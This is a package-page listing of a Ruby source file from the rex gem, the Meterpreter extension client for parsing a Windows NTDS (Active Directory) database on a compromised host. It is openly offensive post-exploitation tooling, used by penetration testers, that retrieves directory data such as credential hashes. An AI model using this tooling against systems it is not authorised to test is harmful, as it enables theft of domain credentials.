Sha256: 640d85c7bf79cb70b9521fcbf98835270ec7d0c4fcfd128d7f184bb31f303ff8

Contents?: true

Size: 844 Bytes

Versions: 5

Compression:

Stored size: 844 Bytes

Contents

# -*- coding: binary -*-

module Rex
module Post
module Meterpreter
module Extensions
module Extapi
module Ntds

###
#
# This meterpreter extension contains extended API functions for
# parsing the NT Directory Service database.
#
###
class Ntds

  def initialize(client)
    @client = client
  end

  def parse(filepath)
    request = Packet.create_request('extapi_ntds_parse')
    request.add_tlv( TLV_TYPE_NTDS_PATH, filepath)
    # wait up to 90 seconds for a response
    response = client.send_request(request, 90)
    channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
    if channel_id.nil?
      raise Exception, "We did not get a channel back!"
    end
    Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS)
  end

  attr_accessor :client

end

end; end; end; end; end; end

Version data entries

5 entries across 5 versions & 1 rubygems

Version Path
rex-2.0.13 lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb
rex-2.0.12 lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb
rex-2.0.11 lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb
rex-2.0.10 lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb
rex-2.0.9 lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb